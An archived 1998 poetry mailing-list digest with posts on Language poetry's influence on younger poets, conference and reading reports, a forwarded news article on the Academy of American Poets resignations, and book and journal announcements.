I realize I can never perceive Ron Silliman's authorship from the p-o-v of poets now in their 30s. But I can testify on this Thread. I am not posting today as

Ron's apologist; he is more capable of that, than I. Mark duCharme's post, Mark Wallace's, even Chris Stroffolini's, though I found the tone misleading at first,would make sense of a predicament I well recall experiencing myself, that of dealing with the expectations laid upon one--with the best will in the world--by senior poets one admires or respects.For us, these were particularly Creeley, Levertov and Duncan, whose encouragement we enjoyed, and whose strictures we sometimes resented, and although I write "we," often enough I felt alone. Back then, I would have been glad enough to obey, had I only the talent. But it is always impossible. The picture that held them captive had changed--we were captives of another, much different, presentation.

I must say, I wouldn't know how to extend or further or develop Silliman's work, w/o first taking a giant step back, leaving the details and abstracting the overall effect. That is, for anyone today, but Ron, to write books like Ron's, doesnt seem the most useful way to proceed. To develop his egalitarian stance in some other way, though : I believe I see this in Mark Wallace's poetry, and not at all to its detriment. Or to develop his notional systems--or those of Jackson Mac Low--to develop these _or_ to qualify them--in ways that put a sufficient distance between themselves, and their precursors, looks like another extension that several are doing.

Don't you think it is this Ron hopes for, and nothing slavish? I am sure he knows that the New never, never comes from the predicted direction, "for [us] who love to be astonished" (Hejinian). Sometimes the only way to honor those who helped one, is to make forms as unpopular as at first theirs were. When _Ketjak_ or _Opera Works_ appeared, poetry was still relatively popular, in no small measure in its avant-garde mode. There were people in considerable numbers to find the new work ugly, inhuman, insectoidal, offensive thanks to its doing the job of announcing (by embodiment rather than declaration) 'It's changed, it's not the same.' In other words, by bearing the message of change encoded in their forms, these poets reaped their whirlwind of hostility and resentment, that, if directed anywhere, ought to be directed at society, the real topic. At society, and at the culture. I would agree that this era makes that less likely, because as a people we are becoming inured to surface qualities of offensiveness, and because far fewer find the time to read poetry--or the courage ("I can't _afford_ to look at my life; I might have to change it and I can't _afford_ that!") and that prevents any deeper, more alarming offensiveness from being their experience.

But if Ron means there should be an articulation, among current practitioners in their 30s, of the theory of current practice that is the equal of Language poetry's theoretical push, I myself would hear that as "weigh what effort we put into poetry" and let that be the challenge : for after all, conditions have altered so much; books are harder to produce and circulate now, than in 1970-85. On

the other hand, the computer is virtually universal, and online zines proliferate. And : Langpo never had a List.

I can hear my mother's voice telling me that none of this is really my business, and I am sure she is right. But somehow that makes addressing it, irresistible. David

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421. **david bromige**
a p.s. to re : fuming
Mon 16 Nov 1998

> *But if Ron means there should be an articulation, among current practitioners in their 30s, of the theory of current practice that is the equal of Language poetry's theoretical push, I myself would hear that as "weigh what effort we put into poetry" and let that be the challenge : for after all, conditions have altered so much; books are harder to produce and circulate now, than in 1970-85. On the other hand, the computer is virtually universal, and online zines proliferate. And : Langpo never had a List.*

The thought here feels gnarled. Let me ted it out a little. "...that is the equal of Language poetry's theoretical push, I myself would hear that as "weigh what effort we put into poetry"--and let that be the challenge, rather than to take it that that effort specifically has to be spent in articulating and circulating theory. For after all, conditions have altered so much; books are harder to produce and circulate now, but meanwhile, the computer is virtually universal, and online zines proliferate. The sort of debate we are hopeful of, here, where theory often finds articulation in a disguised mode, may be replacing the Langpo procedures of the 70s and 80s. Langpo never had a List."

↑ Index

422. **david bromige**
sheesh, the moment my back is turned!
Mon 16 Nov 1998

Listafarians, speaking as Todd Baron, what's gotten into you?! I can't leave you alone for a mere two days w/o you going ballistic! Look at the livingroom! Don't you ever think of your mother,,,uh, father,,,uh, me, Todd? If you werent over 16, I'd ground you both.. uh, all three... uh, how many so far have posted on this Thread....? I say Snip it, and let's return to our real business, which is....uh, well....

↑ Index

423. Leonard Brink
Arshile Reading in San Francisco
Mon 16 Nov 1998

The cast of characters for this reading has been posted a couple of times before. There's been some talk on the list about a lack of progression/connection from one generation to the next, but this program that began with Carl Rakosi and Barbara Guest and included Edmund Berrigan, Jocelyn Saidenburg and the generation in between, with other young poets, e.g. Shannon Welch, in attendance pretty much belies that theory. (Also in attendance: Marjorie Perloff & John Tranter). Unfortunately, Mark Salerno, who is a very fine poet in his own write,in addition to being the editor of Arshile (which, by the way, rhymes with "marshall"), did not read. The poems of Elizabeth Wilis were, for me, the highlight of the evening.

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424. Ron Silliman
Writing like Ron
Mon 16 Nov 1998

"That is, for anyone today, but Ron, to write books like Ron's, doesnt seem the most useful way to proceed."

And Ron even wonders about that.

Although, in support of David's point, I'll repeat something I said on a panel under the big tent at Naropa a few years ago -- "whoever writes like me in 50 years is not my friend" -- and it's true.

Ron

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425. Henry Gould
conference note
Mon 16 Nov 1998

Here are some brief comments on the Translation Conference sponsored by Talisman & Stevens Institute in Hoboken last weekend. There were many simultaneous panels & I concentrated mainly on the Russian ones. High points there were Julia Kunina's talk on Nabokov's theories of translation and some remarks by NY-based Moscow poet Andrey Gritsman on his approach to English/Russian & Russian/English trans. procedures. One statement of his struck me. He was emphasizing the importance of investigating the poet's "sensibility" - for which there is no single equivalent word in Russian - & the poet's general "artistic approach" to language; and said that - in the context of the increasing multi-

lingual activity among poets today - in a sense, "the language doesn't matter". "I know this is sort of heretical statement"... etc.

I think what Gritsman was pointing out is that "artistic approach" to language is a special activity - implying that the artist uses language(s) as tools to get across a complex of effects. The specific language or actual verbal texture is not the poem itself; the poem is these things organized in a conceptual-dramatic movement or whole (dangerous word). In this sense he meant "the language doesn't matter" - the multilingual poet crosses from one to another, getting across certain effects.

Now of course there is another side - which includes the idiomatic & local & slang meanings which to a large extent supply the richness of any particular language! The local knowledge. But I think Gritsman's point about the uniqueness of the "artistic approach" is very important - after all, it's the artistic approach which isolates & highlights local meanings for the sake of further meanings & effects.

This whole area was brought home further for me by the long series of readings at the main session Saturday night in celebration of a new World Poetry anthology. There were a lot of very fine & often hilarious short readings of translations from the ancient Greeks to the present, and the DRAMATIC nature of poetry - the organizing of linguistic elements not so much for a beautiful texture or exploratory meditation but as the most powerful & efficient way to express specific situations - this seemed a dominant factor, at least to me.

Other conference highlights for me were Caroline Bergvall's fascinating paper on untranslatability as a theme in a lot of American poets - focusing on some remarkable work by Joan Retallack. I have some reservations about Bergvall's extended thesis - also it seems a little ironic that Americans - the most mono-linguistic of societies (though that's changing) - would thematize the "stutter" or the knot of incommunicability in speech - maybe Americans should try a little harder first... - it was a wonderful paper nonetheless, as was Craig Dworkin's unpacking of the subtexts and puns leading the detective-reader on in a funny "detective story" parody by Gertrude Stein. The detective must be a multilinguist of necessity to follow Stein's clues.

Just a few of the highlights of a very valuable conference - Ed Foster & co. deserve a big hand for getting it all together -

Henry Gould

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426. **nicholas grindell**
translation conference
Mon 16 Nov 1998

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could anyone add to henry gould's report?
like he said, so many parallel panels...
i got the programme but unfortunately
couldn't attend due to geographical
constraints (hoboken's a long way from berlin)
all information would be much appreciated
and thanks henry for your post.

greetings

nicholas grindell

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427. **Mairead Byrne**
Re: apologies
Mon 16 Nov 1998

Please don't -- Monday morning needs good chuckles! Thank You Thank You!

On Sun, 15 Nov 1998, Jay Schwartz wrote:

> *Can you please take this personal battle off the List to the tidewaters of the backchannel????*

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428. **J Kuszai**
scene report--San Diego's Trip to LA
Mon 16 Nov 1998

---

maybe this channel is permanently doomed to bear the collective angst about having to be together. What else can describe the negative trend in recent threads? Remember, this is a moderated list and personal and private debates do not contribute anything to our proposed discussion list purposes (please see the Welcome Message). The forwarding of private communication to the public list is certainly a violation of most standards of electronic conduct, and if you have a problem with that, you might want to notify your system operator, or ISP. PAID ADVERTISEMENT * * *
[boring utopian dream-writing]
Jack Louden

Community No Nine

perhaps it has been hashed and rehashed, but I wanted say a couple things about the community topic (which returns almost as frequently as the anxiety about Lango's undoing influence on younger critters, who under materialist pressure from economic anxieties, are too busy to think about a philosophy of language--and seeing how they are apolitical do or kno-nothings--lazily therefore they are stuck with their crummy inheritance).

the great thing about going to school, being in a "program," whether university or "experimental college" setting, is just that-- it's a program. There are usually readings every week, and a social system as much about (or more) about the social than any sense of developing any kind of revolutionary movement to upturn the glorious bygone dads and moms of the previous era. Even in the "program" or "school", communities make not for a limited ideological program, but instead the literal social background out of which any conversations will occur. In most places, the ability meet with other poets or poetasters, is a pretty big deal. I don't think there would be the possibility for such an ideological program if the habituated institutions of the "reading series" wasn't already established.

* * *

PROFILE

San Diego, A Scene Report

OUR TRIP TO LA

I knew it would take travelling somewhere to make San Diego my home. I was lucky enough to spend the day with Joe Ross as he and Laura were willing to ride with me on an expedition to the L.A.Books-sponsored reading featuring Cydney Chadwick and Elizabeth Treadwell. As has now been well-reported, once two weeks before I got lost and ended up in Long Beach, so this was my first trip to L.A. since moving here and it couldn't have been a better event to have attended, or a better group of people to have been nestled among in the poetry-perfect space of the Balcony Cafe just off Santa Monica in west L.A. I met Joe and Laura in the heart of Hillcrest at a cafe and we were in LA with time to spare. As many of you will know, Joe is responsible for putting together the community that will be here for years to come--and not just in poetry and literary arts, but for all of the arts citywide. His commitment to the city, it's peoples of magnificent diversity, and their expressions through the arts--it's Singular--from what I understand, he accomplished similar things in D.C....what else can I say? He alone is a reason to cling to this bizzare bizarre known at SoCal. It was exciting to hear of all that is going on, despite the evil corporate Baseball highwayrobbery of the city that just occurred with the last "election." Beyond the Page, the reading series run by Joe, Stephen Cope, and Alicia Cohen, is a model for how communities can come together as cooperative co-assistants and produce a venue for public consumption--a model for community action and development that isn't ground in ideological axings of difference of opinion or taste. Of course what they have developed here is new; it is

growing and will grow more. You, generous reader, might imagine how humbling it is to be thrown out into a strange land and be surrounded by the motivation to make it happen where it wouldn't otherwise. (like San Diego itself) There is something to what is happening here that excites me to work harder. When we got to L.A. we went to see Douglass Messerli at Sun & Moon and luckily found him there, hard at work on his own writing, but willing to spend some time with us as I browsed the shelves and found the most amazing bargains in the reduced-sale shelf. A visit to see him at the Sun& Moon space is a necessary part of any trip to Southern California. I always learn a lot from talking to him, and his advice [re:publishing] to "keep it small" is buoyed by the kind of work he has been able to sustain, the inspiration it provides. But I also learn how tenuous these things are. If I had taken for granted the availability of certain books, such as Hejinian's MYLIFE or other Sun& moon books, no longer. And while we were there he gave an offhand list of books that would require reprinting; a budget beyond the current available means. He noted the coming of this mammoth landmark Drama anthology, which sounds exciting indeed. Before we left him to his work, he showed us a few pictures of some of the most endearing and lovely characters you might ever know. I wish we could have talked with him longer. He expressed regrets about missing the reading, noting his long-standing support of Cydney's writing. I got the sense he was trying to take it easy. Working, but also kind of enjoying the fact of being able to work on his own writing, he showed us the notebooks he was working from. And his eagerness to return to his work was so clear from the energy with which he talked about it. That man works so hard! The hosts of the reading series, Guy Bennett, Chris Reiner and Standard Schaefer, were very welcoming. And with Bill Marsh also in the audience and travelling home with us, we formed a San Diego section of the cafe. It was my first time meeting many of the people there, including Cydney and Elizabeth, who had travelled down from the Bay Area. The room is small, smaller than the Ear Inn. About the size of the backroom of the Ear Inn, without the front room and without the clinking and smashing sounds. No booze, just coffee and nice pastries, etc. There were many people there I didn't meet, so I can't give a list of the attendees, but they included Noah de L., Dennis Phillips, and Franklin Bruno, who I had met in San Diego months before (that long?). Elizabeth's sister was there, as was a friend of hers (who turned out to be someone I went to college with) now working as a screenwriter. Just like on TV! There were many other people there; I was told that it was a pretty good turnout. The room was nicely packed. It was an engrossing reading and everyone behaved. Cydney read first. I had heard her once before, at the New Coast conferece. Everything was so new to me then. This was a good amount of work to hear her read. She read some very wryly humorous pieces, some of which were lost on us, I think. It seemed that Bill and Joe and Laura were making lots of giggling sounds, and I was embarrassed to

be from San Diego! Seriously, I got the sense that in a perhaps less-intense audience, these pieces might cause uproarious hilarity. Reportage of other audience reactions to Cydney Chadwick would be greatly appreciated. She read with a very interesting - i dunno what to call it - "rhythmic lilt" or perhaps it has something to do with a unique pausing or "halting" at certain points. A series of "one-liners" in a linked narrative succession. The rhythm of this was very intersting and being new to her work, I would probably seek it out for further study. Elizabeth Treadwell read next and she also read some prose and parts of her long work "Eve Doe." She is the editor of Outlet and also has done chapbooks (I believe). While I am not familiar with her work, I will certainly do my homework ex post facto. Her prose pieces seemed to rework historical materials in often extreme schemes. Stella, Dorothy Wordsworth, and more. Of all of it, the first sections of "Eve Doe" were for me the most compelling. Again, any Bay Area reportage on these two writers would be much appreciated by this reader. Afterwards we went to what can only be described as Family Place in Santa Monica. Bill and I had potato rajas tacos (which looked like little coasters with happy food dancing on top)--- yum yum yum. It was great to spend a few moments with the gang before driving back to SD. I felt like a little boy, dancing around the streets. I had a really good time at the reading. I felt spoiled in Buffalo. I would miss readings frequently near the end of my time there. I was exhausted by it all. I felt that the experience of going to LA and the reading gave me a renewed sense of voluntarist community actions and a reading a is a good symbol of that. I was grateful to even know about it. We drove back to Iva Bittova and later Beck's One Foot in the Grave. When I got home Bubby and Moby were waiting patiently, but clearly hungry. I fed them and they raced back and forth across the apt, doing their own happy dance.

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429. **Jordan Davis**
Writing like Jordan
Mon 16 Nov 1998

Ron --

Do you think Marianne Moore's increased interest in public relations as her career outlived modernism had anything to do with what is generally perceived as a slide into sentimentality in her later work?

-- Jordan

↑ Index

430. **Edward Foster**
Re: translation conference
Mon 16 Nov 1998

---

it's true there was so much happening (as many as five or six readings or presentations at the same time) that it is impossible to summarize the conference. there was in fact supposed to be a closing session, but it was abandoned on the grounds that there had so much it would be impossible to do everything justice. in my case there were all sorts of official duties and so even less opportunity to hear all but a small part. among the many that i had to miss, but of which i've been told much were the five russian sessions, directed by john high and vadim mesyats, with an amazing number of well known poets -- druk, kunina, etc. pierre joris's presentation on celan is said to have been very strong, but i had to miss it (at that moment being assigned to get pizza for 200 poets and translators). i did, however, hear murat nemet-nejat talk about benjamin and spicer, and in my mind murat now becomes a spicerite. (susan bernofsky also spoke on benjamin, drawing a line from german romaniticism to him; murat then drew the line from benjamin to spicer. this may not sit well with some people on this listserv, but i think the argument is 100% correct.) and carolyn bergvall and tim davis did a fine (but much too short) reading with stacey doris giving the background to the translations. and laird hunt read a translation of stuart merrill that must be better even than the original french. henry weinfield and elaine corts read from their very different versions of merrill, both fascinating, and henry, serge gavronsky, christopher sawyer-laucanno, and stephen ratcliffe (speaking from very different points of the compass) made it clear the twentieth century has begun to exhaust mallarme. raymond scheindlin's translation of _job_ was a great discovery. and andrew schelling powerfully read his translations from sakskrit. and eleni sikelianos powerfully read her translations from greek. and kristin prevalett powerfully read her translation from russian. lindsay watton powerfully read his. and rachel hadas and vyt bakaitis and rika lesser and . . . . there were plays performed in new translations from spanish. Readings from _poems from the millenium_ and _XUL. another important discovery: rosette c. lamont, translator of charlotte delbo's _auschwitz and after_. (lamont teaches at sarah lawrence, but i think i'll kidnap her to teach at my university; she must be wonderful in a classroom.) and sandy flitterman-lewis on artaud, bill martin on book design as translation, adam sorkin on romanian poets, david curzon translating deschamps, leonard schwartz reading with zhang er (who then did the chinese workshop), chana bloch (!!!). . . . -- And truly, i've only begun. there really couldn't be a final session; no one could put it all in perspective and be fair to everyone. i've mentioned maybe a fifth or a tenth of what happened. burt kimmelman's panel on armand schwerner, presented in conjunction with the new _talisman_ issue on schwerner. -- caroline bergvall

reading nicole brossard. -- the portuguese writers and translators who, like the russians, found rooms and carried their discussions and readings way beyond the schedule (and, for some of the russians, on through the night and into the next morning). BUT two things that do have to be mentioned: the great overriding presence of allen mandelbaum, who was there for most of the conference, gave the keynote address on saturday, and kept reminding people of the seriousness of what was happening. And, second, the translations which will result from the conference and of which there will apparently be many.

some of the papers and translations from the conference will be published in a special double-issue of _talisman_. anyone who did not attend the conference but would like to have work considered for that issue should send it to talisman at p.o. box 3157, jersey city, nj 07303-3157.

On Mon, 16 Nov 1998, nicholas grindell wrote:

> *could anyone add to henry gould's report?*
> *like he said, so many parallel panels...*
> *i got the programme but unfortunately*
> *couldn't attend due to geographical*
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> *all information would be much appreciated*
> *and thanks henry for your post.*
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> *greetings*
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431. **Edward Foster**
Re: translation conference
Mon 16 Nov 1998

horrible (!!!) mistake. i meant to say the twentieth century has NOT begun to exhaust mallarme -- not, repeat NOT NOT NOT.

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Mon 16 Nov 1998

CORRECT VERSION WITH THE "NOT" PROPERLY INSERTED

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433. Rachel Levitsky
Great Ladies of Poetry
Mon 16 Nov 1998

New York Times

November 14, 1998

Poets Leaving Academy to Protest Absence
of Minorities

By DINITIA SMITH

EW YORK -- Two prominent American poets, both of them women, have resigned as chancellors from the Academy of American Poets, a venerable body at the symbolic center of the American poetry establishment, to protest the absence of blacks and other minority groups on the academy's board of chancellors. The chancellors, Carolyn Kizer and Maxine Kumin, both of whom have lobbied to admit

minorities
to the board, submitted their resignations to academy president Jonathan
Galassi this week.

"There's never been a black woman chancellor," Ms. Kizer, who won a
Pulitzer Prize for poetry in 1985, said in a telephone interview. Ms. Kizer
said she was also upset by a larger problem, which she defined as "the
insularity among the chancellors, and the lack of women."

"I don't like the way the collection of chancellors sets itself apart from the
mainstream," Ms. Kumin, who won a Pulitzer in 1974, said in an
interview. "I don't want to see it identified with elitism. It's very much an
East Coast group."

The academy, which was founded in 1934 by Marie Bullock and is based
in Soho, at 584 Broadway, at Prince Street, promotes poetry nationally.
Its 12-member board of chancellors exists mainly to administer the
Tanning Prize, at $100,000 the country's largest literary award, and a
smaller prize, the Academy Fellowship, of $20,000.

The board includes some of the country's best known and most influential
poets, including John Ashbery, Richard Howard, John Hollander, Jorie
Graham, Donald Justice, J.D. McClatchy, Mark Strand, Mona Van
Duyn, David Wagoner and W.S. Merwin. This year the board awarded
the Tanning Prize to A.R. Ammons.

"They always go to the same person again and again," said Ms. Kizer,
meaning, she said, that the prize is frequently awarded to white male
poets.

When the first Tanning Prize was awarded in 1994, Ms. Kizer said she lobbied for it to go to Gwendolyn Brooks, an African-American poet. The chancellors awarded the prize instead to W.S. Merwin, and were criticized because Merwin is a chancellor himself. In 1996, Adrienne Rich won the prize. The other winners have been James Tate and Anthony Hecht.

Since 1946, when the academy began awarding its annual fellowship, the prize has been given to only two African-American poets, Jay Wright and Robert Hayden. Of the 64 Fellowships that have been awarded, 14 have gone to women. There have been 57 chancellors in all. There has never been a black chancellor, but there have been 12 women on the board.

Ms. Kumin said that as vacancies have occurred she has lobbied for the poet Lucille Clifton, who is black, to be elected. "We've just been out voted," she said.

Galassi, president of the academy and editor in chief of Farrar, Straus & Giroux, said of the resignations of Ms. Kumin and Ms. Kizer: "I was very sorry that they are doing this at a time when we are in the process of putting our governing structure through review."

He said that he would not accept the resignations and that he would try to persuade both poets to remain as chancellors to help him instate changes at the academy.

Galassi said the academy was in the process of assembling an ad hoc

committee that "will look at the constitution of the chancellors." "The academy has been in the process of broadening for four or five years, and before that," he said. "We started the National Poetry Month. We are starting a Poetry Book Club, an online poetry classroom. They're all outreach programs. They are very inclusive."

"We want to be an organization for everyone," he added.

William Wadsworth, the academy's executive director, added that the lack of women and minority groups on the board "has always been a controversial aspect of the academy."

This year, German writer Fred Viebahn, who is married to Rita Dove, a black poet and former Poet Laureate of the United States, attacked the academy in the International Quarterly for what he said was "unapologetic racial 'purity' and gross gender imbalance."

Viebahn pointed out that the academy had received $250,000 from the Lila Acheson Wallace-Reader's Digest Fund in 1997, and criticized the National Endowment for the Arts for awarding the academy $95,000 this year despite what he called a "tradition of race 'purity' in its highest ranks."

Galassi called the charge "totally unfair."

"If you look at what the academy is doing, and who is working there, I just don't think you can say it's exclusionary," he said. "But even the appearance of being exclusionary is unfortunate and needs to be addressed. And that's what we're in the process of doing."

The academy's board of directors controls the day-to-day running of the institution; the chancellors are mainly responsible for the two prizes. The board has 26 members and only one of them, Jamaica Kincaid, is black. Seven are women. Until 1987, there were no blacks or Jews on the board. That year, when Lyn Chase, an heiress to the Folger coffee fortune, became president of the board, she began recruiting Jews and blacks.

Wadsworth pointed out that the academy's full-time staff of 10 has several minority group members and administers 160 college prizes and awards, worth about $92,000, a number of which go to women and minorities. Among the prizes the academy staff gives are the Walt Whitman Award, which is $5,000 along with book distribution worth $35,000. It administers two other book publication awards, the James Laughlin Award and the Lenore Marshall Prize.

"The chancellors sound like they are the universally recognized spokespersons for the world of poetry," said Ms. Dove, who has served as a judge for the academy's Walt Whitman award and has taken part in many academy functions. "To have an academy where minorities and women are underrepresented or not represented does send a subliminal message to the world that there may not be minorities who are poets or many women who are poets."

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434. Rachel Levitsky
Re: Great Ladies of Poetry
Mon 16 Nov 1998

I honestly don't know how some of my personal business got spliced into the article I tried to forward to the list. Please forgive and ignore. Here's a second attempt.

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November 14, 1998

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By DINITIA SMITH

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435. Pritchett,Patrick

NdjenFerno - New from Vatic Hum

Mon 16 Nov 1998

Now available from Vatic Hum:

NDJENFERNO
by Lindsay Hill
$8.95

"When reading the NdjenFerno of Lindsay Hill one feels as if scorched by a mesmeric fire leaping from aboriginal flint. A lingual focus not unlike those first practitioners of the invisible, those vatic wanderers who poetically uttered rays, magnetically in keeping with those powers one finds ensconced in the carvings inside the Apollo cave in Namibia, some 30,000 years later."

- Will Alexander

"It would seem appropriate for these murderous lyrics to be half-spoken, half-sung by a demonic rhythm-and-bluesman in some post-apocalyptic border town. This is a book about that ultimate border between violence and meaning, illuminating the truth of Benjamin's definition of history as an accumulation of wreckage. Hill talks a high-tension lingo stripped of tense and person, denuding & freshly wounding time & subjectivity. Here, each line is a compressed scream, an ecstatic crossing between last & first things, a neo-medieval chorus line of skeletons dancing ..."

- Andrw Joron

Vatic Hum is published by John Noto. PO Box 42083, San Francisco, CA 94142
NDJENFERNO may be ordered from SPD in Berkeley at [redacted].

IMHO, one of the most exciting books of poetry to appear in quite some time.

Patrick Pritchett

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436. **s. kaipa**
Re: Great Ladies of Poetry
Mon 16 Nov 1998

Rachel--

Thanks for posting this. I've been hearing about this on the Iowa front--where the likes of Merwin and Strand are revered (no doubt, we all ask why).

I think it's important that we notice how reactionary poetry, even poetry, can be.

Sordid.

--Summi

↑ Index

437. Henry Gould
no doubt
Mon 16 Nov 1998

No doubt we all ask why
in unison
in order to climb up they say
we must put down

and when that doesn't work
alas
we must always fall back
to kissing ass.

- Jack Spandrift

↑ Index

438. P.Standard Schaefer
RIBOT: oldnewgenerations
Mon 16 Nov 1998

Paul Vangelisti, editor of RIBOT asked me to make the following information available. It seems a pretty good timing to as the new issue contains a substantial number of younger, newer, not well-known poets alongside heavies like Mohammed Dibb, Carl Rakosie, the Waldrops, Sorrentino, Barbara Guest, Nathaniel Tarn and others. A slight west coast tilt to the younger ones: Jeff Clark, Warren Liu, Garrett Caples, Tracy Grinnel, Cathy Wagner, Franlin Bruno, Emily Grossman, Noah de Lissovoy among many others like Gwyn McVay , Brian Lucas, John Lowther, Joshua Harmon.

Those of you who have complained about the over-sights in the recent Talisman anthology of young lions (and lionesses) might find the issue a healthy addendum. Seems to me a slightly less New York bent to this issuen than one might expect. I think also an almost alarming diversity. Not sure how much "language" seems to have figured in the minds of young writers like Noah de Lissovoy or Cathy Wagner.

Ribot 6: Over Sixy Under Thirty is now available at bookstores.

It is distributed by Consortium Books, but is also available directly from Paul Vangelisit. Just send a check for $10 written to RIBOT: PO Box 65798, Los Angeles CA 90065.

Vangelisti can be reached at [redacted]

Ten bucks is not cheap, I know, but the journal is so handsome, so well- designed that it has wom several awards and I think it will prove worth while. Art work by Louise Bourgeois

People wishing to get more bang/whimper for their buck might check out the LA Books web-site where you will see how to get Rhizome, Ribot, Witz, the Seeing Eye Chapbooks and two Litterol Books (one new from Ray Di Palma, one new from George Albon) for one low price. www.litpress.com

↑ Index

439. schuchat
coup de des / loop de loop / doesn't abolish exhaustion
Mon 16 Nov 1998

---

but the idea that the 20th century HAS begun to exhaust Mallarme is much more interesting. As would be the notion, here in late 1998, that Mallarme may have also begun to exhaust the 20th century. either have not begun to century the exhaust, or the twentieth Mallarme.

didn't it start with the attempt to reproduce in French the sensation of reading Browning and Shelley with less than perfect English?

there are chinese poets today who work to produce in Chinese the effect of early 20th century American poets who sought, in their own work, to produce in English the effects they drew from their understanding of chinese poetry.

but hey, speaking utterly gratuitiously, I don't think David Bromige is the Rush Limbaugh of poetry, and if you want to privilege Mallarme over Stuart Merrill, to return to the "sujet" at hand, you should remember that one was trying to produce a personally experienced effect accurately, while the other sought to produce an equivalent of something he understand for a new market, uh, audience.

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440. Jordan Davis
mos doubt
Mon 16 Nov 1998

The journalist exists to add errors to the public relations firm's text.

↑ Index

441. **Henry Gould**
re mos doubt
Mon 16 Nov 1998

Public relations is oracular, not textual.

↑ Index

442. **Tosh**
Re: RIBOT: oldnewgenerations
Mon 16 Nov 1998

> *Ten bucks is not cheap, I know, but the journal is so handsome, so well-designed that it has wom several awards and I think it will prove worth while. Art work by Louise Bourgeois*

Oh, I think it is worth every dollar. It is a handsome journal/book. Now if it was being sold for three or four dollars - that would be a shame!

Tosh Berman
TamTam Books

↑ Index

443. **Maria Damon**
Re: black british poetry
Mon 16 Nov 1998

---

hey there m bibby --anything by gordon rolehr's usually pretty good, don't you think? tho' he deals mostly w/ caribbean. the person to contact, of course, is mike eldridge. i'm assuming you know of the anthologies, Dub Poetry, Voice-print, etc. most of which, again, deal w/ caribbean, but there's some overlap w/ black brits? good to hear from you thru poetix! --md

At 11:57 PM -0500 11/15/98, Michael W Bibby wrote:
>some students in my contemporary lit seminar want to do their research
>papers on black british poetry, esp. dub poetry (e.g., Linton Kwesi
>Johnson and Jean "Binta" Breeze)--i've referred them to articles by
>Alastair Niven, Fred D'Aguiar, and Patrica Waugh, and Anne Walmsey's book
>on the Carribean Artists Movement--anyone on the list have other
>references i could turn them on to?
>
>thanks!

>
>Michael Bibby
>Department of English
>Shippensburg University
>1871 Old Main Drive
>Shippensburg, PA 17257
>[redacted]
>[redacted]

↑ Index

444. Erik Sweet
Re: Backchannel this baby talk!
Mon 16 Nov 1998

---

both of you need to knock this wanker shit off...
You are both right!
ooops

Erik Sweet

↑ Index

445. KENT JOHNSON
Bad Boys
Mon 16 Nov 1998

Jordan Davis is Bad.

Henry Gould is Bad.

Don't you love to see dem two Bad Boys flashing their blades?

Send out the PR clips. Hose down the streets.

It's West Side Story time!

↑ Index

446. Jordan Davis
wanna see my Ray Liotta impression?
Mon 16 Nov 1998

Public relations has more than one weapon: word-of-mouth, street cred, institutional certification, the well-placed press release, mutual reinforcement. As long as I can remember, I wanted to be a gangster. But you know, to the sociologist gangs are just group formations, unless of course the sociologist gets in the way. Not to speculate about the gang-like behavior of sociologists. Or to impugn public relations firms, or journalists. We all showed up to find a poetry so

derivative as to be unintelligible held up for a praise that oxidized to ridicule as we looked at it. Eyebeams. As Peter Culley said the other day, or something like it: the power that goes along with the near-total anonymity of poetry is not to be underestimated. Neither underestimate the poetry of power's anonymity. Code of silence = hose down the streets for glossy night shots. I'd say more about behavior in New York but the set's on lock down.

↑ Index

447. Erik Sweet

The fight is on!

Mon 16 Nov 1998

I for one enjoy both the posts from Dale Smith and David Bromige-

I especially loved when Bromige visted Albany last year and gave one of the most interesting talks on collage I have heard- He was kind and giving, a highlight visit of that year, (along with Paul "I love that guy! " Metcalf.) Brought to you of course by Don Byrd and Pierre Joris...

What I don't like is to see such nastiness between two people...

I say cut it out because the posts don't really reflect the true greatness of both poets...

Name-calling!!!!!! it works sometimes...but all the negativity make me mad!!!

Only joking about the "wankers" part- too much British Comedy! trying to lighten up the tension...

Lover, Sweet-Erik

↑ Index

448. Daniel Kane

Bernadette Mayer workshop, 1971-72 or thereabouts

Mon 16 Nov 1998

I'm working on a dissertation here at NYU -- a literary history of reading series of the Lower East Side, 1962-1972, starting at Les Deux Megots, going on to Le Metro, and ending with the first few years of the Poetry Project at St. Mark's Church. I'm thinking about ending the whole thing with a discussion on B. Mayer's workshop, and would really appreciate it if people on this list (C. Bernstein, N. Piombino, et al) could backchannel me at [redacted] if they are willing / interested in being interviewed about their experiences at the Poetry Project, the Mayer workshop, and so on. Of course, if anyone has the time to recommend contacting people outside of this list, I'd appreciate that. Thanks.

--Daniel Kane
[redacted]

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449. henry gould
Re: wanna see my Ray Liotta impression?
Mon 16 Nov 1998

There's a certain poetry in ridicule. When parody acted out the script prepared for it (just kidding - uh--too late). Or the laughter of the laughsters as their heads grew donkey's ears, all together now. Somebody tell me where the wind comes from - somebody in Manhattan. We must be getting closer, we're laughing so hard it's ridiculous. The idiom or something. Hu-ha hu-ho hu-ee-hee-hee damn Mitch.

Then silence will plop - and so on.

Doan you cross dat Jordan!
He de Saint Tumblin More ta Henry's Fat Aces!
He dat doubtin half to touch da flash!
He done rise ev-time Henry boy git goin - to cut him down!
Look out now! Da Scholar Prince a ol London Town done crost dat fat ol King!

↑ Index

450. Dale Smith
Inchoate, a Beginning
Mon 16 Nov 1998

David, baby, you're bumming me out. But I'm surprised, flattered really, that you had the energy to sustain so many eloquent and witty posts on Sunday. Kudos!

And searching for words better yoked than my own, (to express the unfocused miasma writhing inside me), I found this, congealed in the gooey art of Whitman:

> Endless unfolding of words of ages!
> And mine a word of the modern, the word En-Masse.
>
> A word of the faith that never balks,
> Here or henceforward it is all the same to me, I accept Time
> absolutely.
>
> It alone is without flaw, it alone rounds and completes all,
>
> I accept Reality and dare not question it,
> Materialism first and last imbuing.

And later, still in Song of Myself, he writes:

> It is time to explain myself--let us stand up.
>
> What is known I strip away,
> I launch all men and women forward with me into the Unknown.

And, well, finally... How could I not quote from section 51:

> Do I contradict myself?
> Very well then I contradict myself,
> (I am large, I contain multitudes.)

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451. Charles Bernstein
Olivier Cadiot in New York
Mon 16 Nov 1998

French Poet Olivier Cadiot will be reading
with Stacy Doris, Chet Weiner and Charles Bernstein on translations
at the Knitting Factory
(Old Office) 74 Leonard Street in Manhattan
on Friday, Nov. 20, 7pm
as part of the French Touch Festival
NOTE: tickets are listed as $15 for all events for the day
but if you *tell * the box office you want the READING ONLY
you can get in for $5 plus a free drink (this offer will not be posted).
*
Also reading, same bill : French fiction writer Benoit Duteurtre

↑ Index

452. Ron Silliman
On a positive note
Mon 16 Nov 1998

One great book of late has been Steven Clay and Rodney Phillips' _A Secret Location on the Lower East Side: Adventures in Writing, 1960-1980_ published jointly by the New York Public Library and Granary Books, intro by Jerry Rothenberg.

